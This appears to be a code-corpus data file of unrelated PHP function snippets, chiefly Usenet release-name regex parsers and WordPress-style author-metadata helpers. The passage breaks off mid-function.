"public function mom()\n\t{\n\t\tif (preg_match('/^\\[usenet4ever\\.info\\] und \\[SecretUsenet\\.com\\] - (.+?)-u4e - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //brothers-of-usenet.info/.net <<<Partner von SSL-News.info>>> - [01/26] - \"Be.Cool.German.AC3.HDRip.x264-FuN.par2\" yEnc\n\t\tif (preg_match('/^\\[Art-of-Usenet\\] ([a-fA-F0-9]+) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //(????) [03/20] - \"Weblinger - The.Haunted.House.Mysteries.v1.0-ZEKE.part01.rar\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '.+?[-_\\s]{0,3}yEnc$/ui',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //ShesGonnaSquirt.12.12.13.Sindy.Lange.My.Knight.In.Squirting.Armor.XXX.1080p.x264 - [1/1] - \"ShesGonnaSquirt.12.12.13.Sindy.Lange.My.Knight.In.Squirting.Armor.XXX.1080p.x264.rar\" yEnc\n\t\tif (preg_match('/[\\w.-]{8,}[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[Art-of-Usenet] dea75eb65e65c56197d749d57919806d [01/19] - \"dea75eb65e65c56197d749d57919806d.par2\" yEnc\n\t\tif (preg_match('/^\\[Art-of-Usenet\\] .+? \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<ghost-of-usenet.org>XCOM.Enemy.Unknown.Deutsch.Patch.TokZic [0/9] - \"XCOM Deutsch.nzb\" ein CrazyUpp yEnc\n\t\tif (preg_match('/^<ghost-of-usenet\\.org>(.+?) \\[\\d+\\/\\d+\\] - \".+?\" .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //.oO \"20.Years.After.German.2008.AC3.BDRip.XviD.INTERNAL-ARC__www.realmom.info__.nfo\" Oo. [02/39] 1,43 GB yEnc\n\t\tif (preg_match('/^\\.oO \"(.+)__www.realmom.info__.+\" Oo. \\[\\d+\\/\\d+\\] \\d+[.,]\\d+ [kKmMgG][bB] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<kere.ws> - 0DAY - 1331086126 - Robokill.Rescue.Titan.Prime.v1.1.MacOSX.Cracked-CORE - [1/9] - \"Robokill.Rescue.Titan.Prime.v1.1.MacOSX.Cracked-CORE.par2\" yEnc\n\t\tif (preg_match('/^<kere\\.ws>[ _-]{0,3}\\w+(-\\w+)?[ _-]{0,3}\\d+[ _-]{0,3}(.+) - \\[\\d+\\/\\d+\\][ _-]{0,3}(\"|#34;).+?(\"|#34;) yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //[A_New_Found_Glory-Its_All_About_The_Girls-Reissue-CDEP-FLAC-2003-JLM] [www.usenet4ever.info by Secretusenet] - \"00-a_new_found_glory-its_all_about_the_girls-reissue-cdep-flac-2003.jpg\" yEnc\n\t\tif (preg_match('/^\\[(.+?)\\][ _-]{0,3}\\[www\\.usenet4ever\\.info by Secretusenet][ _-]{0,3} \".+?' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//MoM100060 - \"Florian_Arndt-Trix-(BBM36)-WEB-2012-UKHx__www.realmom.info__.nfo\" [2/7] 29,04 MB yEnc\n\t\t//\"Alan.Wake.v1.02.16.4261.Update-SKIDROW__www.realmom.info__.nfo\" (02/17) 138,07 MB yEnc\n\t\tif (preg_match('/^(Mom\\d+[ _-]{0,3})?\"(.+?)__www\\.realmom\\.info__' . $this->e0 .\n\t\t\t\t\t '[ _-]{0,3}[\\(\\[]\\d+\\/(\\d+[\\)\\]]) \\d+[.,]\\d+ [kKmMgG][bB] yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //\"The.Draughtsmans.Contract.1982.576p.BluRay.DD2.0.x264-EA\"(15/56) \"The.Draughtsmans.Contract.1982.576p.BluRay.DD2.0.x264-EA.part13.rar\" - 2.37 GB yEnc\n\t\tif (preg_match('/^\"(.+?)\"\\(\\d+\\/(\\d+\\))[ _-]{0,3}\".+?' . $this->e0 .\n\t\t\t\t\t '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB] yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(01/29) - Description - \"Revolution.2012.S01E06.HDTV.x264-LOL.nfo\" - 317.24 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/(\\d+\\))[ _-]{0,3}Description[ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //(02/17) - [Lords-of-Usenet] <<Partner of SSL-News.info>> i8dewFjzft94BW71EI0s -\"19913.r00\" - 928,75 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/(\\d+\\))[ _-]{0,3}\\[Lords-of-Usenet\\][ _-]{0,3}<<Partner of SSL-News\\.info>>[ _-]{0,3}(.+?)[ _-]{0,3}\".+?' .\n\t\t\t\t\t $this->e0 . '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //[002/161] - \"Rayman_Legends_USA_PS3-CLANDESTiNE.nfo\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\][ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//NetVideoGirls.13.08.05.Julia.XXX.MP4-KTR - [1/1] - \"NetVideoGirls.13.08.05.Julia.XXX.MP4-KTR.rar\" yEnc\n\t\t//FemaleAgent.E136.Rollie.XXX.1080p.MOV-KTR - [1/1] - \"FemaleAgent.E136.Rollie.XXX.1080p.MOV-KTR.rar\" yEnc\n\t\t//Penthouse.13.07.13.Natalia.Starr.Pet.Of.Month.July.2013.XXX.3D.WMV-TBP - [1/1] - \"Penthouse.13.07.13.Natalia.Starr.Pet.Of.Month.July.2013.XXX.3D.WMV-TBP.rar\" yEnc\n\t\tif (preg_match('/^([a-z0-9].+?\\.XXX.*?\\.[a-z0-9]{3,4}-[a-z0-9]+) - \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //happy birthday brothers - brothers-of-usenet.info&net-empfehlen-ssl-news - 2brokegirls-s03e12-Die.franzoesische.Versuchung.48 - [01/12] - \"2brokegirls-s03e12-Die.franzoesische.Versuchung.480p.par2\" yEnc\n\t\tif (preg_match('/brothers-of-usenet\\.info&net-empfehlen-ssl-news.+\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Eragon postet Pfeil S01E18 german [01/19] - \"Pfeil S01E18.par2\" yEnc\n\t\tif (preg_match('/^Eragon postet.+\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"[Fansub-Resistance] Naruto Shippuuden 345 xvid (848x480).vol25+15.PAR2\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Die.Sopranos.S05E02.German.AVC-TVS.vol063+60.par2\" (repack180414) yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //LOL.3E05.720p.WEB.DL.nHD.x264-NhaNc3 [64/71] - \"LOL.3E05.720p.WEB.DL.nHD.x264-NhaNc3.sfv\" yEnc\n\t\tif (preg_match('/^([\\w.-]{8,})[-_\\s]{0,3}\\[\\d+\\/(\\d+\\])[-_\\s]{0,3}\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t\t&& !preg_match('/^(\\d{4,6})-\\d{1}\\[/', $this->subject)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Uploader.Presents-LaLa.2014.Englisch.R6.HDCAM.x264.AC3-SmY(06/56]\"SmY-I,F.2014.part05.rar\" yEnc\n\t\tif (preg_match('/^Uploader\\.Presents-(.+)[\\[\\(]\\d+\\/\\d+[\\]\\)]\".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(21/27) - Description Lava.Land.2013.3D.1080p.Bluray.HOU.X264.DL-zman - \"Lava.Land.2013.3D.1080.HOU.DL-zman.part20.rar\" - 8,85 GB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}Description ([\\w.,& ()\\[\\]\\'\\`-]{8,}?)[-_\\s]{0,3}\".+?' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //- \"z7QxDdQ5Qs63v8B8.01\" - 374,56 MB - yEnc\n\t\t//- Description - \"le gars et son arc 2x21.vol06+05.PAR2\" - 273,04 MB - yEnc\n\t\tif (preg_match('/^- (Description - )?\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //::: Usejunkies.tk ::: - [11/15] - \"Saitenfeuer - Kein Zurueck 2013.vol00+1.par2\" - 116,42 MB yEnc\n\t\tif (preg_match('/^.+Usejunkies\\.tk.+\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //:.Usejunkies.tk.:---- - [4/8] - \"MKTO - MKTO.vol00+5.par2\" yEnc\n\t\tif (preg_match('/^.+Usejunkies\\.tk.+\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"8ÃÂ
dTbOMaÃÂ¥RuieuD4gÃÂ¥jÃÂ
wOÃÂ¥bmS72ADÃÂ
M1b2æefz9q4yW4O7exV.vol037+6.par2\" yEnc\n\t\tif (preg_match('/^\"(.{8,}?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(08/12) [ArtofUsenet] >>> www.art-of-use.net <<< \"Alles Atze - S01E05 - Die Anatolische Fliege.vol01+02.par2\" - 245,19 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \\[ArtofUsenet\\].+www\\.art-of-use\\.net.+\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(01/10) - [Lords-of-Usenet] <<Sponsored by SSL-News.info>> presents AoA.Audio.Extractor.Platinum.v2.0.Portable.WiNALL.APPZ-NOTRADE -\"notrade-aoaextractorplati_portable.par2\" - 8,14 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - \\[Lords-of-Usenet\\].+ presents (.+?)[-_\\s]{0,3}\".+?' .\n\t\t\t$this->e2,\n\t\t\t$this->subject,\n\t\t\t$match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(02/66) - [Lords-of-Usenet] <<Partner of SSL-News.info>> presents The_Swapper-FANiSO - \"fan-swap.rar\" - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - \\[Lords-of-Usenet\\].+ presents (.+?)[-_\\s]{0,3}\".+?' .\n\t\t\t$this->e1,\n\t\t\t$this->subject,\n\t\t\t$match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(1/3) - \"Readers Digest Magazin Deutschland Oktober 10-2014.rar\" - 10,92 MB - >>brothers-of-usenet.info/net<< empfehlen SSL-News.info yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - \"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[-_\\s]{0,3}\\d+([.,]\\d+)? [kKmMgG][bB][-_\\s].+yEnc$/ui',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(1/3) \"Die drei Fragezeichen - Folge 162 - Der schreiende Nebel.rar\" - 121,56 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t$this->e2,\n\t\t\t$this->subject,\n\t\t\t$match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //brothers-of-usenet.ino/.net<<<Partner von SSL-News.info>>> - [05/33] - \"oiu78_67O77OuiI_ztRe014.part04.rar\" yEnc\n\t\tif (preg_match('/^brothers-of-usenet.+SSL-News\\.info.+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖܤ߶!.,&_()\\[\\]\\'\\`-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //\"Fabulous MP3.v1.10.rar\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}",
"function header_meta() {\n\t/**\n\t * Filter the path used for the site's humans.txt attribution file\n\t *\n\t * @param string $humanstxt\n\t */\n\t$humanstxt = apply_filters( 'additive_humans', ADDITIVE_TEMPLATE_URL . '/humans.txt' );\n\n\techo '<link type=\"text/plain\" rel=\"author\" href=\"' . esc_url( $humanstxt ) . '\" />';\n}",
"function getAuthor() \n\t{\n\t\t$author = array();\n\t\tinclude_once \"./Services/MetaData/classes/class.ilMD.php\";\n\t\t$md =& new ilMD($this->getId(), 0, $this->getType());\n\t\t$md_life =& $md->getLifecycle();\n\t\tif ($md_life)\n\t\t{\n\t\t\t$ids =& $md_life->getContributeIds();\n\t\t\tforeach ($ids as $id)\n\t\t\t{\n\t\t\t\t$md_cont =& $md_life->getContribute($id);\n\t\t\t\tif (strcmp($md_cont->getRole(), \"Author\") == 0)\n\t\t\t\t{\n\t\t\t\t\t$entids =& $md_cont->getEntityIds();\n\t\t\t\t\tforeach ($entids as $entid)\n\t\t\t\t\t{\n\t\t\t\t\t\t$md_ent =& $md_cont->getEntity($entid);\n\t\t\t\t\t\tarray_push($author, $md_ent->getEntity());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn join($author, \",\");\n }",
"function get_the_author_description()\n {\n }",
"public static function author(){ //Here author can not be override bcz its a final method\n return \"My name is \".self::$name.\" Sen\";\n }",
"function header_meta() {\n\t$humans = '<link type=\"text/plain\" rel=\"author\" href=\"' . WPDOC_HLTR_URL . '/humans.txt\" />';\n\n\techo apply_filters( 'wpd_humans', $humans );\n}",
"function get_the_author_msn()\n {\n }",
"function the_author_icq()\n {\n }",
"function material_design_theme_posted_by() {\n\t\t$byline = '<span class=\"author vcard\">' . get_avatar( get_the_author_meta( 'ID' ), 36 ) . '<a class=\"url fn n mdc-typography--caption\" href=\"' . esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ) . '\">' . esc_html( get_the_author() ) . '</a></span>';\n\n\t\techo '<div class=\"byline\"> ' . $byline . '</div>'; // phpcs:ignore\n\n\t}",
"public function get_author_permastruct()\n {\n }",
"function the_author_lastname()\n {\n }",
"function the_modified_author()\n {\n }",
"public function getAuthorcompany() {}",
"public function get_author()\n\t{\n\t\treturn '';\n\t}",
"public function getAuthors();",
"function get_the_author_icq()\n {\n }",
"function sopac_author_format($author, $addl_author_ser) {\n/*\n if ($author) {\n $author_arr = explode(',', trim($author, '.'));\n $new_author_str = trim($author_arr[1]) . ' ' . trim($author_arr[0]);\n }\n\n elseif ($addl_author_ser) {\n $addl_author = unserialize($addl_author_ser);\n if ($addl_author[0]) {\n $author_arr = explode(',', trim($addl_author[0], '.'));\n $new_author_str = trim($author_arr[1]) . ' ' . trim($author_arr[0]);\n }\n }\n\n if ($new_author_str) {\n //$new_author_str = ereg_replace(\"[^A-Za-z\\x20-\\x7F '.-]\", '', $new_author_str );\n $new_author_str = preg_replace('/ - /', ' ', $new_author_str);\n }\n else {\n $new_author_str = '';\n }\n\n return $new_author_str;\n*/\n return $author;\n}",
"function get_the_modified_author()\n {\n }",
"public function amazing()\n\t{\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Ass Backwards (2013) WEBrip XviD AC3 (english subs)) [18/35] - \"Ass Backwards (2013) WEBrip XviD AC3 (english subs).part17.rar\" yEnc\n\t\tif (preg_match('/^\\([\\w!.,&_ ()\\[\\]\\'\\`-]{8,}\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Angels4Always) [1/1] - \"Vermeulen, John - De tweelingparadox.rar\" yEnc\n\t\tif (preg_match('/^\\(Angels4Always\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Heaven_en_Fayth Presenteren Diana Gabaldon - Reiziger Cyclus 01 - De Reiziger[0/3] - \"Diana Gabaldon - Reiziger Cyclus 01 - De Reiziger.nzb\" yEnc\n\t\tif (preg_match('/^[\\w!.,&_ ()\\[\\]\\'\\`-]{8,}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //www.wolfsteamers.info [1/6] - \"Wohnen Bauen Leben - Sommer 2014.par2\" - 16,46 MB yEnc\n\t\tif (preg_match('/^www\\.wolfsteamers\\.info[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //096XZFUPQ0PxH4441H14fU8V - [34/99] - \"096XZFUPQ0PxH4441H14fU8V.part033.rar\" yEnc\n\t\tif (preg_match('/^\\w+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //05VANmA80DckBho \"05VANmA80DckBho.part07.rar\"08/94 yEnc\n\t\tif (preg_match('/^\\w+[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '\\d+(\\/\\d+)[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Slaapkop post voor http://the-ultimate-force.org.ua/) [0/7] - \"Wham - I'm Your Man (1985).nzb\" yEnc\n\t\tif (preg_match('/^\\(.+the-ultimate-force\\.org\\.ua\\/\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(001/101) - P2H - \"L62WD8P4U539A7.par2\" - 4,66 GB - Z9F6KN7SXRCY845 yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - P2H - \"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[-_\\s]{0,3}\\d+([.,]\\d+)? [kKmMgG][bB][-_\\s]{0,3}\\w+[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(001/101) \"654258ItB1418pBRDNS264159.par2\" - 9,74 GB - yEnc\n\t\t//(001/105) - Description - \"oH291TB0bPxf3lqm1P7QQ.par2\" - 4,56 GB - yEnc\n\t\t//(03/43) - FTTEAM.INFO - \"JDSJ2J4ENASJCKR-FTTEAM.INFO.part02.rar\" - 2,04 GB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)([-_ ]{0,4}(Description|FTTEAM\\.INFO))?[-_ ]{0,4}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t} //- - [001/242] - \"C65JuogI92CwfMo2TiX59.par2\" yEnc\n\t\tif (preg_match('/^[-_ .]{0,4}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //- \"5nivJ7V6Q2jqAR34bZ8m.part46.rar\" yEnc\n\t\tif (preg_match('/^[-_ .]{0,4}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //- \"7UAF6LE2PDM38NB.par2\" - 8,53 GB - yEnc\n\t\tif (preg_match('/^[-_ .]{0,4}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //- [01/10] - \"file.xyz\" yEnc - [001/107] - \"86u1Qr8mm56jGiW7nUPTM.par2\" yEnc\n\t\tif (preg_match('/^[-_ ]{0,4}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+\" yEnc[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}",
"function authorToStr($authorstr, $title, $keyAuthor='') {\n\n\t$aarr = explode(' and ', $authorstr);\n\t\n\t$aarr = array_map('trim', $aarr);\n\t$link ='';\n\tfor($i=0; $i < count($aarr); $i++) {\n\t\n\t\t\n\t\tif(strpos($aarr[$i], '(href)') != false){\n\t\t\t$aarr[$i] = explode('(href)', $aarr[$i] );\n\t\t\t$link = $aarr[$i][1];\n\t\t\t//echo $link;\n\t\t\t$aarr[$i] = $aarr[$i][0];\n\t\t}\n\t\t$aarr[$i] = str_replace(\"\\\\textbf\",\"\", $aarr[$i]);\n\t\tif(strpos($aarr[$i], ',') == false) {\n\t\t\t// no first/lastname indicator, let's do that ourselves\n\t\t\t$pa = strpos($aarr[$i], '{') != false && (strpos($aarr[$i],'{') == 0 || \n\t\t\t$aarr[$i][strpos($aarr[$i],'{')-1] == ' ' || \n\t\t\t$aarr[$i][strpos($aarr[$i],'{')-1] == '.') ? strpos($aarr[$i], '{') : false;\n\t\t\t\n\t\t\t$pl = ($pa == true) ? strpos($aarr[$i], '{') : strrpos($aarr[$i], ' ');\n\t\t\t$lastname = trim(substr($aarr[$i], $pl+1, ($pa && strpos($aarr[$i], '}', $pl) != false ? strpos($aarr[$i], '}', $pl) - $pl : strlen($aarr[$i])-$pl)-1) );\n\t\t\t$firstname = trim(substr($aarr[$i], 0, $pl));\n\t\t\t$fn = explode(' ', str_replace('.', '', str_replace('-', ' ', $firstname)));\n\t\t\t$fn2 = '';\n\t\t\tfor($j=0; $j < count($fn); $j++) {\n\t\t\t\tif(strlen($fn[$j]) > 0)\n\t\t\t\t\t$fn2 .= $fn[$j][0] . '.';\n\t\t\t}\n\t\t\t$aarr[$i] = $lastname . ' ' . $fn2;\n\t\t\t\n\t\t} else {\n\t\t\t$na = explode(',', $aarr[$i]);\n\t\t\t$fn = explode(' ', str_replace('.', '', str_replace('-', ' ', trim($na[1]))));\n\t\t\t$fn2 = '';\n\t\t\tfor($j=0; $j < count($fn); $j++) {\n\t\t\t\tif(strlen($fn[$j]) > 